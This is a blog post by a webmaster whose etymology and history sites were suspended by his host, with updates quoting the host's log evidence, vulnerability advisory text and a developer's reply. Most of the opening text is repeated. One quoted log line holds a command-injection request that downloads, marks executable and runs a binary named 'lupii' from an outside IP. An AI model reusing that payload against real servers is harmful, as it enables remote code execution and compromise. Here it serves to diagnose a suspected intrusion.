Plea: Web Help
This is pathetic, but does anyone know anything about Web sites? I have been hosting two Web addresses -- etymonline.com and slavenorth.com -- with 1and1.com for a couple of years now. Both are text sites primarily, with a few pictures. They're very basic, but they get a steady flow of traffic. The first is the only really comprehensive free English etymology dictionary on the Internet. The second is the only general overview of black slavery in the Northern colonies and states of the U.S. They get a steady flow of visits from students and researchers. I don't generate income off them; they're there for people to use, and I pick up the tab for domain hosting.
Or they were there. About a month ago I got a notice from 1and1 informing me I was using too much of their bandwidth and demanding I upgrade my account. I figured the sites' popularity had grown past some tipping point. I went through the steps to change my account setting, to charge myself more money, and figured that was that. About a week ago, I got another e-mail from them, informing me that my service was going to be cut off if I did not upgrade my account. I wrote back protesting that I had upgraded the account. I never got an acknowledgment.
Yesterday, I find all my Web sites gone from the Internet and my account locked.
Needless to say, years of research going down the tubes is not a happy experience, nor is fielding inquiries from the many people who rely on these sites.
I want to know what happened, and what they expect me to do to solve this problem, so I can judge whether it is within my capability to do so. But so far no one there has been able to tell me anything in words I understand. I work nights, and I have stayed up half of today (my normal sleeping time) trying to find someone at 1and1 to give me answers. No luck.
This is what I was able to glean from the tech support person at billing: There's "something running in your space that's crashing the server that it's on." It started around November 29. It causes a "spike in resources," which is why they cut off my service.
I have made no significant changes to my Web site in more than a year, certainly nothing on November 29. I don't use the site to do any mailing or anything but offer text for view. Is it possible that some sort of hacker script got into the site, and is using it to generate spam? Does that even make sense? Is that consistent with what they told me? Or have I simply been awake too long?
Is there anyone who can tell me what might be wrong, or suggest some questions I can ask that might yield answers, since none of mine so far has? Or shall I write off these sites as dead?
Any suggestions can be mailed to byronic106@yahoo.com and would be appreciated. For now, I'm going to bed.
UPDATE: Sites seem to be there again, but if so, it is a temporary reprieve. The company gave me some access to the account to try to figure out the problem.
Thanks to those who have written with advice; I haven't had a chance to thank you individually yet.
To work on these sites, especially the dictionary, which requires constant updating and niggling formatting work, I had someone wiser than I set up a system to make changes simply. It involves files with .php extensions. I can do HTML by myself, but this, apparently, is the next generation beyond that. It made my work much easier, but perhaps this is where the vulnerability occurs.
Other problem is, with this system, I no longer seem to have the text of the dictionary on my own computer and wouldn't know how to get it back from the server if I had to.
1and1 wrote to me today and listed the two dozen or so .php files on the site and said:
I am going to try to track down the fellow who wrote those codes. He was basically a fan of the site who did the work for free as a gesture of gratitude.
UPDATE UPDATE: 9:39 p.m. (I'm starting to sound like the lead character in "Pi"). I heard back from the designer of the site, who deflects the theory that this is a hack. Here's the relevant passage of his e-mail:
UPDATE X3: A kind reader also calls attention to another theory, which crossed my mind at the beginning but then I forgot as I got distracted:
I'm posting all this here so I can quickly refer people to the progress of the mess.
Or they were there. About a month ago I got a notice from 1and1 informing me I was using too much of their bandwidth and demanding I upgrade my account. I figured the sites' popularity had grown past some tipping point. I went through the steps to change my account setting, to charge myself more money, and figured that was that. About a week ago, I got another e-mail from them, informing me that my service was going to be cut off if I did not upgrade my account. I wrote back protesting that I had upgraded the account. I never got an acknowledgment.
Yesterday, I find all my Web sites gone from the Internet and my account locked.
Needless to say, years of research going down the tubes is not a happy experience, nor is fielding inquiries from the many people who rely on these sites.
I want to know what happened, and what they expect me to do to solve this problem, so I can judge whether it is within my capability to do so. But so far no one there has been able to tell me anything in words I understand. I work nights, and I have stayed up half of today (my normal sleeping time) trying to find someone at 1and1 to give me answers. No luck.
This is what I was able to glean from the tech support person at billing: There's "something running in your space that's crashing the server that it's on." It started around November 29. It causes a "spike in resources," which is why they cut off my service.
I have made no significant changes to my Web site in more than a year, certainly nothing on November 29. I don't use the site to do any mailing or anything but offer text for view. Is it possible that some sort of hacker script got into the site, and is using it to generate spam? Does that even make sense? Is that consistent with what they told me? Or have I simply been awake too long?
Is there anyone who can tell me what might be wrong, or suggest some questions I can ask that might yield answers, since none of mine so far has? Or shall I write off these sites as dead?
Any suggestions can be mailed to byronic106@yahoo.com and would be appreciated. For now, I'm going to bed.
UPDATE: Sites seem to be there again, but if so, it is a temporary reprieve. The company gave me some access to the account to try to figure out the problem.
Thanks to those who have written with advice; I haven't had a chance to thank you individually yet.
To work on these sites, especially the dictionary, which requires constant updating and niggling formatting work, I had someone wiser than I set up a system to make changes simply. It involves files with .php extensions. I can do HTML by myself, but this, apparently, is the next generation beyond that. It made my work much easier, but perhaps this is where the vulnerability occurs.
Other problem is, with this system, I no longer seem to have the text of the dictionary on my own computer and wouldn't know how to get it back from the server if I had to.
1and1 wrote to me today and listed the two dozen or so .php files on the site and said:
These are known as "scripts". If your bandwidth is not high, nor do you run scripts very often, then it is likely that you were hacked as shown in the evidense we have gathered from your access logs.
access.log.48.gz:164.115.5.19 - - [30/Nov/2005:09:42:47 -0500] "GET /scgi-bin/webhints/hints.cgi?|cd$IFS/tmp;wget$IFS`echo$IFS\"$IFS\"`62.101.193.244/
lupii;chmod$IFS+x$IFS`echo$IFS\"$IFS\"
'lupii;./lupii`echo$IFS\"$IFS\"
`62.101.193.244| HTTP/1.1" 404 1997 82.165.245.3 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1;)" "-"
access.log.51.gz:201.24.42.55 - - [25/Dec/2005:22:10:07 -0500] "POST /index.php?term=mesa/xmlrpc.php HTTP/1.1" 200 4465 www.etymonline.com "-" "-" "-"
XML-RPC is a library for open-source code for PHP users. PEAR XML-RPC versions prior to 1.3.1 could allow a remote attacker to execute arbitrary PHP code caused by an unspecified vulnerability. A remote attacker using an application that uses the vulnerable library could use this to execute arbitrary PHP code on the system.
phpWebSite versions prior to 0.10.0 are also vulnerable to SQL injection, caused by improper validation of user-supplied input to the XML-RPC server, using the POST method. A remote attacker could exploit this vulnerability to add, modify or delete data in the backend database. phpWebSite versions prior to 0.10.0 could also allow a remote attacker to traverse directories, caused by improper validation of user-supplied input to the XML-RPC server, using the POST method. A remote attacker could send a specially-crafted archive that will allow the attacker to traverse directories and obtain sensitive information.
Note: It is reported that XML-RPC for PHP version 1.x, Serendipity versions prior to 0.8.2, and phpMyFAQ versions 1.4 and 1.5, and Drupal versions prior to 4.5.4 and 4.6.2, MailWatch for MailScanner 1.0, Tikiwiki versions 1.8.5-r1 and earlier, Ruby version 1.8.2-r2 and earlier for Gentoo Linux, Ruby version 1.8 for Mandrake Linux, Jaws versions prior to 0.5.2 and FreeMED versions prior to 0.8.1.1 are also vulnerable to this vulnerability.
I am going to try to track down the fellow who wrote those codes. He was basically a fan of the site who did the work for free as a gesture of gratitude.
UPDATE UPDATE: 9:39 p.m. (I'm starting to sound like the lead character in "Pi"). I heard back from the designer of the site, who deflects the theory that this is a hack. Here's the relevant passage of his e-mail:
> The message they
> sent seems to be a false alarm. Yes, there is a
> vulnerability in the XML-RPC
> component of in PHP, but the site was not using that
> feature. The sample log
> events they provide show no indication that any
> intrusion occurred. They are
> merely evidence of random scans which occur all the
> time, and which did not
> detect anything vulnerable. At the network security
> monitoring company where I
> work, we observe these random scans several times a
> day at each of our clients.
>
> The first log line they provide resulted in a 404
> (file not found) error,
> which means it was trying to access a file which
> isn't there. The file they
> were looking for is part of a php-based message
> board software, which you
> aren't running on your site.
>
> The second log line was attempting to exploit a
> programming flaw called remote
> include, but the etymonline site doesn't use that
> technique (because it's
> vulnerable to precisely such manipulations), so that
> user (or, more likely,
> automated script) surely received an error message
> and moved on to look for
> another site to attack.
>
> IMO, the site is actually pretty securely written,
> and I'm not sure what could
> have caused them to shut it down.
>
> I tried to log in to back up the data just in case,
> but although we can SSH
> into the account itself, they seem to have disabled
> database access for your
> account. If they reenable that, I can grab a backup
> of the data for you. We
> could also then investigate what might be causing
> the behavior they observed.
> I can't explain what could cause the server to
> crash.
>
> I think you should tell them that you suspect it was
> a false alarm, and either
> ask them to reenable database access to see if it
> happens again, or to have
> them investigate further and try to actually find
> what is causing the problem.
> I looked briefly and didn't see any signs of
> compromise. I have to go, but
> tonight at work I'll look over the logs that are
> accessible to us more
> carefully to be sure there's no evidence of anything
> malicious. Perhaps I can
> identify what might have caused the 'spike in
> resources' they observed.
UPDATE X3: A kind reader also calls attention to another theory, which crossed my mind at the beginning but then I forgot as I got distracted:
I work during the day for a hospital with maintaining anti-virus dat
file currency on ~4000 computers. I follow a bit about what goes on in the
"dark side of hacking" (not nearly enough, probably, but I try to be
aware of some of the behaviors of worms and viruses). I doubt that your site
has been compromised and used as a site that "bots" or "zombies" could
connect to to recieve further instructions from. your sites could have been
targets of "distributed denial of service" types of attacks. Why
people would choose those sites? I have no idea.
I'm posting all this here so I can quickly refer people to the progress of the mess.
